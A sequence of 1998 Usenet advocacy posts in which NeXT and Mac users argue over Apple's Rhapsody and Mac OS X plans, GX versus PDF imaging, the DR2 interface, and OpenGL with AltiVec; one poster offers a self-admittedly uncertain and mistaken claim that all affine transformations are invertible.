Message-ID: <6ke4v6$d5n$9@ironhorse.plsys.co.uk>
References: <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100>
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Cc: english@primenet.com
In <B18F17D4-38174@206.165.43.100> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
>
> [using GX instead of DPS from the start of the NeXT-purchase]
>
> >Yes, and what's different now?
> >re the *huge* task (which you note will take Apple one and a half years):
>
> Had they decided to use GX from the beginning, or at least, as a backup
> strategy, they wouldn't have had to wait this long to provide a workable
> solution.
>
Twaddle.
They have a workable solution now. They will have a workable solution for
MacOS X in a year and a half. Sadly my sarcasm wasn't conveyed very well --
I don't actually regard the transition to PDF as a *huge* task -- hence the
subsequent question
"(a) What part of "it uses the same imaging model" don't you understand;"
> For that matter, they could have been working on an OOP
> replacement for GX for Yellow Box and Carbon as soon as the ink was dry on
> the purchase, using the internal engine that they are using now, anyway,
> without taking the time to try to enhance DPS for SMP and so on.
>
So how much time and effort has that taken, vs what it would take to try to
use GX?
> >(a) What part of "it uses the same imaging model" don't you understand;
> >(b) explain how replacing DPS with GX instead of PDF would make the task
> >easier.
>
> Howabout: they wasted months and months of time that could have been spent
> on something more sophisticated than what we now have because what we now
> have could have been announced as soon as the ink was dry?
>
In what way wasted?
> On a slightly different topic, I've been thinking (insomuch as I am capable
> of this difficult process, eh?)
>
> There IS an upside to using the "PDF model," but it certainly isn't that it
> is PDF. Since PDF *does* have a binary format that is extensible, you can
> use it exactly as Mike Paquette said, as a metafile format for graphics.
>
Oh, well done, so contrary to your previous assertions you've found this to
be the case.
> If THAT is what Apple has in mind when they talk about PDF (with reference
> to Mike's oblique reference to PDF-as-metafile-format), then using PDF is a
> Very Good Thing.
>
No, really. Good heavens, who'd ever have thought it.
> BTW, rather than argue about which model is better, why not work to design
> a new one that is simply better, period?
>
I don't know whether to laugh or scream.
> I mean, what is wrong with taking a superset of the capabilities of GX,
> Taligent, DPS/PDF and the various YB imaging classes and creating something
> that is lightyears beyond any of them?
>
Nothing. But maybe Mike had this idea before you?
cf dejanews ...
[...]
> There's a LOT that could be done to design a better Carbon/YB-II graphics
> system with the best features of GX, Taligent and YB-I graphics. Why don't
> we take such a discussion to GX-talk and work on it there?
>
Because, thanks to your incessant tirades about GX, no-one will anywhere near
it...?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 26 May 1998 10:33:36 GMT
Organization: P & L Systems
Message-ID: <6ke5q0$d5n$10@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us>
<ericb-1705981553500001@132.236.171.104> <6jnfgg$prv$1@crib.bevc.blacksburg.va.us>
<ericb-1805981350170001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1805981350170001@132.236.171.104> Eric Bennett wrote:
> Yes, but it is the usual Apple story: put off what was promised for
> something even better, but neither of which can be delivered, so will you
> please all just wait another year and a half...
>
Apple promised that they would try to produce YB/MacOS, but as far as I
remember never gave a timescale. They have now.
> There comes a point when I don't care about a year and a half from now. I
> would want to see YB running on MacOS 8 *now* even if it's not the perfect
> environment.
>
As I understand it (and I'm sure folks from Apple have posted publicly)
investigations showed that MacOS is so broken wrt the system services YB
requires that it would take longer to get YB on MacOS than to develop MacOS
X. It's not that Apple doesn't want to give you whatyou want here, it's an
engineering impossibility.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 26 May 1998 10:40:11 GMT
Organization: P & L Systems
Message-ID: <6ke66b$d5n$11@ironhorse.plsys.co.uk>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us>
<3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
<see-below-2305981551320001@209.24.241.7> <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE>
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Cc: kiwi@saljut.fb10.tu-berlin.de
In <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE> Axel Habermann wrote:
> My comments about DR2:
>
> - The tear off menus suck, because you can only tear off the first level.
>
Umm, not so -- you can tear off any menus, including the menubar (although
sadly the menu bar is left in place).
> - The tear off menus suck, because I always tear them off inadvertedly when
> trying to leave the menu.
>
To be honest I'm surprised by this -- I have the opposite experience, I
sometimes find it difficult to tear off a menu.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 26 May 1998 11:15:06 GMT
Organization: P & L Systems
Message-ID: <6ke87q$d5n$12@ironhorse.plsys.co.uk>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us>
<3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
<see-below-2305981551320001@209.24.241.7>
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Cc: see-below@not-my-address.com
In <see-below-2305981551320001@209.24.241.7> Matthew Vaughan wrote:
> I remember a year ago all the Next developers were complaining about how
> sucky the Mac interface was compared to OpenStep, but they've been pretty
> silent since. I was wondering if that was the NDA at work, or whether some
> have actually changed their minds. I haven't used OpenStep or Rhapsody so
> I can't compare, but I'm curious what you all think of the Mac interface
> (at least as implemented in DR1/DR2) now?
>
For me a combination of things...
Whilst the new UI looks like a Mac it still feels more like NEXTSTEP than
MacOS, so in use it's not as "bad" as one might think.
That said, a couple of peeves:
Biggest loss: the shelf.
The desktop simply doesn't come close to providing the "bookmark"
functionality the shelf gave. I've sent in a couple of suggestions to
rhapsody-dev-feedback about this -- the main thought being that is they don't
want to bring back the shelf per se they could enhance the functionality of
one of the existing buttons, say the home icon, to turn it into a popup list
to which you could add new files/folders just be dragging. You could then
"go to" that file/folder by selecting it in the popup. (An alternative would
be to use the "Go to" panel.)
Desktop
I don't like the way the Workspace becomes the active app if you click on the
desktop.
It's a shame they don't trust Mac-users enough to allow them to destroy files
instantly with Command-r.
Colour
The new colour wheels etc should get their coloured sliders back.
There should still be a way of making the key window even more obvious.
But then there area also some great new features:
Having the document icon in every window is excellent.
Having symlinks show up in italics in the file viewer is outstanding...
having the Command-r shortcut to take you to the original is useful too.
The Processes list on the right hand menu might even end up being better than
app tiles: having the Hide Others entry here where everyone can see it is
probably better than having a rather more obscure option (i.e.
command-double-click on the app tile). And with the Apple menu on the left
being customisable (thanks to Ken Case for uncovering the defaults settings),
and the login items in Preferences, it might even end up being better than
the dock.
Being able to resize a window from any corner is useful.
So overall some wins, some losses. I need to use DR2 longer in anger to get
a real feel for how the two compare, but for now I'm fairly happy.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Followup-To: comp.sys.next.advocacy
Date: 26 May 1998 11:28:22 GMT
Organization: P & L Systems
Message-ID: <6ke90m$d5n$13@ironhorse.plsys.co.uk>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <tbrown-1805982347260001@mv130.axom.com>
<6jr0j0$t4u$1@crib.bevc.blacksburg.va.us> <B%781.20932$Jd6.2419220@news.rdc2.occa.home.com>
<6jr3b3$t7r$1@crib.bevc.blacksburg.va.us> <see-below-1805982353010001@209.24.241.167>
<1ca81.27110$Jd6.2495701@news.rdc2.occa.home.com>
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Cc: akira@home.com
NOTE: FOLLOWUPS TO COMP.SYS.NEXT.ADVOCACY
In <1ca81.27110$Jd6.2495701@news.rdc2.occa.home.com> akira@home.com wrote:
> And Workspace has been multithreaded for years
> longer than Finder has been. In fact, I can't remember a time when it
> wasn't, and I used Nextstep 0.9, and that was back in '89-90.
>
Hmm, are you sure Workspace has always been multithreaded?
I'm sure I remember waiting for files to finish copying in 1.0 -- or was it
just that it seemed like I had to wait?
Best wishes,
mmalc.
From: BinaryBillTheSailor@Sea++.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: Tue, 26 May 1998 11:50:24 GMT
Organization: ICGNetcom
Message-ID: <356aac48.221111797@nntp.ix.netcom.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news> <see-below-2505981819150001@209.24.240.44> <356a183c.183206318@nntp.ix.netcom.com> <see-below-2505982323440001@209.24.240.44>
Thank you for the clarification Matthew.
On Mon, 25 May 1998 23:23:44 -0700, see-below@not-my-address.com
(Matthew Vaughan) wrote:
>In article <356a183c.183206318@nntp.ix.netcom.com>,
>BinaryBillTheSailor@Sea++.com wrote:
>
>> On Mon, 25 May 1998 18:19:15 -0700, see-below@not-my-address.com
>> (Matthew Vaughan) wrote:
>> >
>> >Interesting viewpoint, which ignores the fact that Apple already has an
>> >operating system that runs very well in Intel, one that most people
>> >already consider vastly superior to Windows NT in most regards
>> >(applications availability being the big problem).
>>
>> How do you support the qualifier "Most People" in your statement. Do
>> you mean "Most people in the same room as me?" "Most people who agree
>> with me?" " Most people who wear plaid boxer shorts"? "Most people
>> with a limited understanding ofd the world?" Which "most people" are
>> you speaking for here? Speak for yourself.
>
>Sorry. I meant most people who have used both systems.
>
>....................................................
>MATTHEW VAUGHAN
>matthewv at best dot com (damn spammers...)
>http://www.best.com/~matthewv/
>....................................................
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 26 May 1998 12:09:13 GMT
Organization: P & L Systems
Message-ID: <6kebd9$d5n$14@ironhorse.plsys.co.uk>
References: <see-below-2005981828050001@209.24.242.183> <6k1ehd$7kb@flonk.uk.sun.com>
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Cc: Jeff.Richmond@uk.sun.comREMOVETHIS
In <6k1ehd$7kb@flonk.uk.sun.com> Jeff Richmond - SUN UK - SSIR wrote:
> Hmm ... EOF, WebObjects and NetInfo are all, essentially, corporate market
apps.
>
Priced as they were, yes; WebObjects is now $99 for *any* academic use
(including administration) which makes things a little different...
Best wishes,
mmalc.
Date: Tue, 26 May 1998 08:30:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Message-ID: <joe.ragosta-2605980830390001@wil131.dol.net>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news> <see-below-2505981819150001@209.24.240.44> <6kd61h$483$1@news12.ispnews.com>
In article <6kd61h$483$1@news12.ispnews.com>, "Zico"
<ZicoKnows@hotmail.com> wrote:
> Kinda stretching for your point there, Matthew. Most people do NOT
> already consider Rhapsody or Next vastly superior to Windows NT
> in most regards.
I'm sure that statement is 100% true.
But let's narrow it down to a _meaningful_ question. "Of the people who
have actually used both Rhapsody and WinNT, how many consider Rhapsody to
be superior?"
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 26 May 1998 08:28:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Message-ID: <joe.ragosta-2605980828550001@wil131.dol.net>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <anewmanagn-2505981721530001@a3p11.ideasign.com> <3569f618.13218072@news>
In article <3569f618.13218072@news>, jtech1197@yahoo.com wrote:
> Don't make me laugh. You actually think Apple was and could make an
> OS that could run on the Wintel platform? Apple couldn't make an OS
> for the Wintel platform in their dreams. They have a hard enough
> time making a usable OS for their own hardware spec. It's only a ploy
> to instill confidence in their user base and improve world opinion of
> their vitality. Some fell for it, I hope most didn't.
I think the thousands of developers who have Rhapsody DR in their hands
might disagree with you.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now? (Was Re: End
of
Date: 26 May 1998 06:52:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1901713-22772@206.165.43.147>
References: <6ke4v6$d5n$9@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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mmalcolm crawford <malcolm@plsys.co.uk> said:
Lawson English <english@primenet.com> said:
>> is PDF. Since PDF *does* have a binary format that is extensible, you
can
>> use it exactly as Mike Paquette said, as a metafile format for graphics.
>>
>Oh, well done, so contrary to your previous assertions you've found this
to
>be the case.
>
Yep, several people answered my question on the matter so I have gotten a
more realistic picture of what using PDF as the "metafile" format for MacOS
X graphics might mean.
>
>> If THAT is what Apple has in mind when they talk about PDF (with
>reference
>> to Mike's oblique reference to PDF-as-metafile-format), then using PDF
is
>a
>> Very Good Thing.
>>
>No, really. Good heavens, who'd ever have thought it.
>
Of course, it all depends on what they actually DO with the format.
>
>> BTW, rather than argue about which model is better, why not work to
>design
>> a new one that is simply better, period?
>>
>I don't know whether to laugh or scream.
I don't know how to respond to this. I've always indicated that I'm open to
suggestions for a better imaging model than GX. However, the response that
I've gotten has usually suggested that Rhaposdy's model is already superior
in every way that counts, and that those ways in which GX might be superior
aren't really because no-one wants or needs them (e.g., 3x3 transform
matrix vs 3x2 or single-pass transformation of bitmap color).
>
>> I mean, what is wrong with taking a superset of the capabilities of GX,
>> Taligent, DPS/PDF and the various YB imaging classes and creating
>something
>> that is lightyears beyond any of them?
>>
>Nothing. But maybe Mike had this idea before you?
>cf dejanews ...
>
Perhaps, but given the way in which the word that DPS might not (and in
fact, will not) make it into Rhapsody has been met by some NeXT
programmers, combined with the subsequent rationalizations about the
utility of the current Carbon graphics model, I don't trust NeXT
programmers to be any more rational on the subject of a graphics engine for
MacOS X than I am. So your presumption that what Mike is working on (or
will be allowed to work on) will meet the goal of " being better than all
the current options" is every bit as suspect as anything that I say on the
subject.
In my opinion, of course.
>[...]
>
>> There's a LOT that could be done to design a better Carbon/YB-II
graphics
>> system with the best features of GX, Taligent and YB-I graphics. Why
don't
>> we take such a discussion to GX-talk and work on it there?
>>
>Because, thanks to your incessant tirades about GX, no-one will anywhere
>near
>it...?
Really? Do you think that the only people that count are those that read
comp.sys.mac/next.advocacy? Or that the people that respond are the
majority of people reading these newsgroups?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: 26 May 1998 07:07:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1901AA8-2FF0A@206.165.43.147>
References: <joe.ragosta-2605980830390001@wil131.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/alt.windows95,
nntp://news.primenet.com/comp.os.ms-windows.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Joe Ragosta <joe.ragosta@dol.net> said:
>But let's narrow it down to a _meaningful_ question. "Of the people who
>have actually used both Rhapsody and WinNT, how many consider Rhapsody
>to
>be superior?"
Let's change it to a more _relevant_ question: how many people are going to
*bother* to find out which is superior?
The projected answer to this question is likely what Apple has dropped the
idea of a cross-platform *OS* strategy rather than an API strategy.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: agave@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Pig farming?
Date: Tue, 26 May 1998 13:24:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6kefqt$kg7$1@nnrp1.dejanews.com>
References: <6ke49p$6q1$1@sun27.hrz.tu-darmstadt.de>
In article <6ke49p$6q1$1@sun27.hrz.tu-darmstadt.de>,
neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
>
> remember the delightful little thread about pig farming and NT?
> Just thought that some of us here could use a reminder that things
> have looked a lot, lot worse in the past. :-)
>
> (by the way, does anyone have a copy of the thread? peanuts does
> not archive c.s.n.a, and that was before the days of dejanews)
>
Actaully, it is available in dejanews... I just did a power search for pig
farming in csn.* and came up with the thread :)
Personally, I still find Rhapsody/MacOS X/Yellow Box a compelling
alternative. The contract I'm on now has me working in VC++ under NT and
it's no picnic. Luckily, it's a framework in ANSI C++ and I don't have to
deal with windows GUI issues or win32.
-Ian would prolly go back and get a Masters in Classic Civ. rather than live
in a Windows world
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 26 May 1998 16:32:39 +0200
Organization: The Computer Society at Lund
Message-ID: <6kejq7$6na$1@bartlet.df.lth.se>
References: <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147>
NNTP-Posting-User: cb
In article <B1901713-22772@206.165.43.147>,
Lawson English <english@primenet.com> wrote:
>mmalcolm crawford <malcolm@plsys.co.uk> said:
>Lawson English <english@primenet.com> said:
>
>>> is PDF. Since PDF *does* have a binary format that is extensible, you
>can
>>> use it exactly as Mike Paquette said, as a metafile format for graphics.
>>>
>>Oh, well done, so contrary to your previous assertions you've found this
>to
>>be the case.
>>
>
>Yep, several people answered my question on the matter so I have gotten a
>more realistic picture of what using PDF as the "metafile" format for MacOS
>X graphics might mean.
You might try to look at things from a less sceptical viewpoint to begin
with, rather than staring out with a viewpoint which to many here at least
_appears_ to be 'it isn't GX, so it sucks'. Sadly, your treatment of DPS -
where you consistently kept bringing up falsehoods about DPS and PS - has
left many with the impression that you are more interested in bashing
everything non-GX than in actually looking for the facts, and what good
features might be available in the other system(s) in question.
>Of course, it all depends on what they actually DO with the format.
Even if Apple don't do anything themselves - they are incorporating it
into the system, and thus people will use it, extend it, etc; and since
the format itself is well-designed and spec:ed, things are (in my opinion)
looking good.
>>> BTW, rather than argue about which model is better, why not work to
>>design
>>> a new one that is simply better, period?
>>>
>>I don't know whether to laugh or scream.
>
>I don't know how to respond to this. I've always indicated that I'm open to
>suggestions for a better imaging model than GX. However, the response that
>I've gotten has usually suggested that Rhaposdy's model is already superior
>in every way that counts, and that those ways in which GX might be superior
>aren't really because no-one wants or needs them (e.g., 3x3 transform
>matrix vs 3x2 or single-pass transformation of bitmap color).
(I _beleive_ the following to be true; if I am incorrect, someone
who _knows_ otherwise _please_ correct me.)
Actually, a 3x2 matrix is, in a very real sense, superior to a 3x3 matrix.
A 3x2 matrix can only represent an affine transformation.
Affine transformations are invertible
Thus, every transformation you can represent in a 3x2 matrix, is
invertible; you can _always_ generate an inverse matrix to whatever matrix
you have. Thus you can undo _any_ transformation.
With a 3x3 matrix, you can represent non-invertible transformations, so
the above does not hold.
Thus, while you give up non-affine transformations - which are in fact
somewhat of a rarity in real life work - you gain the fact that you can
always invert your matrix and get a new useful matrix back.
A similar relationship holds for 4x3 vs 4x4 matrices for 3D coordinates, I
beleive.
Again, the above is my understanding - I may well be wrong, I was never a
star at maths. Please correct me if that is the case.
Best regards
// Christian Brunschen
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Tue, 26 May 1998 09:37:36 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <356AD3B0.5FA67D27@nstar.net>
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Robert Cassidy wrote:
> > > From what I've been led to understand, AltiVec should deliver competitve
> > > 3D. Apple helped develop this thing (initiated, from what I've been told)
> > > and would appear to be seriously interested in it. I get the sense that it
> > > is being chosen in lieu of specialized hardware in many places due to cost
> > > (obvious) and an easy ability to support. Basically Apple can get
> > > Quicktime to support Altivec with less effort than a full port to
> > > Trimedia, for example.
> >
> > Well, this makes me sorta nervous. If it's a TriMedia comparison, it's
> > not about easy of development, it's actually because TriMedia has gotten
> > out of the 3D market altogether after the abject failure of the
> > Pyramid3D project. The developer of that solution, (I believe it's
> > BitBoys Oy) has gone independent and TriMedia is doing other things.
>
> Trimedia's appeal was to the Quicktime crowd, not so much the 3D crowd
> AFAIK. That's why I used that as an example.
Your statement above says "...AltiVec should deliver competitive 3D."
That's a bold statement, considering the PC 3D market.
> The appeal of AltiVec in the face of *all* other specialized hardware is
> that AltiVec is not a total rewrite solution. That doesn't mean it will
> seriously compete with specialized hardware, except that we stand a better
> chance of getting AltiVec support in more places than TriMedia or any
> other non-PPC solution support.
So again, Apple has chosen a proprietary solution rather than an open or
cross-platform one. Rather than finding a software layer that fits the
needs of Apple and its operating system, Apple is turning to a hardware
layer that isn't even competitive but will save them some trouble in
software.
This is not good.
> OTOH, what does multiple AltiVec CPUs in an SMP environment do to adjust
> the playing field as far as specialized hardware is concerned? Doesn't
> that just improve Apple's ability to get decent performance by getting rid
> of as many special cases as possible? After all, if we look at the costs
> of 1 CPU + specialized 3D hardware, how much different in price would that
> be from 2 AltiVec CPU's? How then does that begin to affect performance?
Well, a single Intel i740 3D chip is something like $50, I think. A
single 300 MHz AltiVec G4 CPU would be, what? $800?
Does AltiVec do texture mapping, multitexture, texture blending? Does
AltiVec have support for geometry setup, alpha blending, bilinear
filtering, fogging?
AltiVec is not Apple's 3D solution.
> > OpenGL in QTML makes me nervous and unhappy. Does it require more memory
> > than just-plain-OpenGL?
>
> If they do it right, it should be very little more memory. Negligible I
> would think.
No, it will require the use of the QuickTime libraries. If you have a
good shared library scheme and you're already using QuickTime apps, yes,
it will be negligible. If you have a consumer PC and you want to run a
mind-blowing OpenGL game, the associated cost will be burdensome.
> > Will straight OpenGL code compile, or will you
> > have to make QTML gestalt and enable and initialize and
> > god-know-what-else calls?
>
> Straight OpenGL code would compile, I would think. The advantage to having
> it in QT is if the developer wished to extend their support to other media
> types (video, audio) and sync it. Then you go beyond OpenGL, but wouldn't
> audio sync'ed to OpenGL actions be attractive if optional?
You can't just tie things to the OpenGL API without fundamentally
affecting its use in the development environment. OpenGL isn't designed
to be synchronized with anything; try mixed rendering with X and OpenGL
sometime.
> > From a certain perspective, this isn't terrible: you have WGL and GLX on
> > other platforms. But what is Apple doing about AGL, then? Is it
> > replacing it or just adding another layer? How can it reasonably
> > implement these decisions without active membership in the ARB?
>
> They could work directly with SGI, no?
No, SGI is involved in Fahrenheit with Microsoft. SGI has little or no
stake in the preservation of the OpenGL specification beyond 2000.
> > Let me do this: OpenGL doesn't need Qt.
>
> OpenGL doesn't need anything. But would it hurt? Could it even help? Would
> there be an advantage to running OpenGL in a RT environment? QT is a
> pretty accomodating environment that doesn't always have to intrude on
> other things.
I don't think it would work. I would favor a plain OpenGL library. If
they don't deliver it, somebody else is going to, 2 years late, just in
time to embarass Apple *again* but too late for useful development. Kind
of like Conix OpenGL on the MacOS, now that nobody gives a rat's ***.
> I would think that integration is the goal.
No, not really. Portability is the goal. Integration is what 3rd-parties
do, like Mark Kilgard's GameGLUT API. Those people will write the
necessary code to optimize their work for QuickTime, DirectPlay, etc.
wherever necessary. For the OS vendor to do that would be a big mistake.
This AltiVec/QuickTime strategy sounds more like it ties QuickTime to
the Macintosh. By contrast, I favor a strategy that ties other platforms
to QuickTime. [scream] This is so simple, I can't understand why it's
not being done.
> > What happens if I write a QTML program using OpenGL and try to port it
> > elsewhere? I see problems.
>
> Why? Why would it not go anywhere that QTML goes?
Precisely.
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: 26 May 1998 09:52:48 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ke3dg$n7a$1@ns3.vrx.net>
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Cc: rmcassid@uci.edu
In <rmcassid-2505982311390001@dialin9062.slip.uci.edu> Robert Cassidy
claimed:
> > OpenGL in QTML makes me nervous and unhappy. Does it require more memory
> > than just-plain-OpenGL?
>
> If they do it right, it should be very little more memory. Negligible I
> would think.
The fear factore here, one that's true so far, is that QTML under MacOS-X
will simply be a port similar to the Windows port is today - provide Mac
API's for needed functionality and don't change any of the QT code.
This is bad. Read up on CORDS at OSF and you'll see why.
Maury
Date: Tue, 26 May 1998 11:08:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Message-ID: <joe.ragosta-2605981108410001@wil92.dol.net>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6ke87q$d5n$12@ironhorse.plsys.co.uk>
In article <6ke87q$d5n$12@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <see-below-2305981551320001@209.24.241.7> Matthew Vaughan wrote:
>
> > I remember a year ago all the Next developers were complaining about how
> > sucky the Mac interface was compared to OpenStep, but they've been pretty
> > silent since. I was wondering if that was the NDA at work, or whether some
> > have actually changed their minds. I haven't used OpenStep or Rhapsody so
> > I can't compare, but I'm curious what you all think of the Mac interface
> > (at least as implemented in DR1/DR2) now?
> >
> For me a combination of things...
>
> Whilst the new UI looks like a Mac it still feels more like NEXTSTEP than
> MacOS, so in use it's not as "bad" as one might think.
>
> That said, a couple of peeves:
>
> Biggest loss: the shelf.
>
> The desktop simply doesn't come close to providing the "bookmark"
> functionality the shelf gave. I've sent in a couple of suggestions to
> rhapsody-dev-feedback about this -- the main thought being that is they don't
> want to bring back the shelf per se they could enhance the functionality of
> one of the existing buttons, say the home icon, to turn it into a popup list
> to which you could add new files/folders just be dragging. You could then
> "go to" that file/folder by selecting it in the popup. (An alternative would
> be to use the "Go to" panel.)
Wasn't there a discussion about a third party making a "Shelf" utility?
Would it be a big job?
>
> Desktop
> I don't like the way the Workspace becomes the active app if you click on the
> desktop.
Why? What other behavior would make sense?
> It's a shame they don't trust Mac-users enough to allow them to destroy files
> instantly with Command-r.
Actually, this sounds like a good thing for default, but you're probably
right that it should be an option. On the Mac, there are utilities which
will delete files immediately.
>
> Colour
> The new colour wheels etc should get their coloured sliders back.
> There should still be a way of making the key window even more obvious.
I don't use color wheels much, so I can't comment on this.
>
>
> But then there area also some great new features:
>
> Having the document icon in every window is excellent.
> Having symlinks show up in italics in the file viewer is outstanding...
> having the Command-r shortcut to take you to the original is useful too.
"Command-r" is the same command you just mentioned earlier for deleting
files. Typo?
>
> The Processes list on the right hand menu might even end up being better than
> app tiles: having the Hide Others entry here where everyone can see it is
> probably better than having a rather more obscure option (i.e.
> command-double-click on the app tile). And with the Apple menu on the left
Sounds like Mac OS 8 behavior--which works very well for most users.
> being customisable (thanks to Ken Case for uncovering the defaults settings),
> and the login items in Preferences, it might even end up being better than
> the dock.
My only complaint about the MacOS 8 version is that it would be nice to
have it visible all the time like the Win95 task bar.
>
> Being able to resize a window from any corner is useful.
>
>
> So overall some wins, some losses. I need to use DR2 longer in anger to get
> a real feel for how the two compare, but for now I'm fairly happy.
Well, that's good news. I figured that Apple would do whatever they could
to keep Mac users happy, at the risk of alienating NeXTians. If they are
able to keep both groups happy, it will be a great thing.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Rhapsody, OS X...huh?
Newsgroups: comp.sys.next.advocacy
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6ke87q$d5n$12@ironhorse.plsys.co.uk>
Message-ID: <356add07.0@news.depaul.edu>
Date: 26 May 98 15:17:27 GMT
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> That said, a couple of peeves:
> Biggest loss: the shelf.
>The desktop simply doesn't come close to providing the "bookmark"
>functionality the shelf gave. I've sent in a couple of suggestions to
>rhapsody-dev-feedback about this -- the main thought being that is they don't
>want to bring back the shelf per se they could enhance the functionality of
>one of the existing buttons, say the home icon, to turn it into a popup list
>to which you could add new files/folders just be dragging. You could then
>"go to" that file/folder by selecting it in the popup. (An alternative would
> be to use the "Go to" panel.
How about a Shelf application, that just provides windows that are
Shelves, sans Browser? While not quite as good as the combination
of Browser & Shelf, it should work with the Finder to provide the
desired functionality.
<snip>
>It's a shame they don't trust Mac-users enough to allow them to destroy files
>instantly with Command-r.
?!
> Colour
> The new colour wheels etc should get their coloured sliders back.
Definitely. That's a _key_ feature that makes way too much sense
to just dismiss out of hand. The Mac-style sliders aren't adequate
for this.
> There should still be a way of making the key window even more obvious.
Yep.
> Having the document icon in every window is excellent.
I found it too easy to drag off accidentally, when just trying
to move the window. The modifier key on NeXTSTEP is nice to have.
That said, it's better to have the icon than to 'overload' the
miniaturize button as NeXTSTEP does.
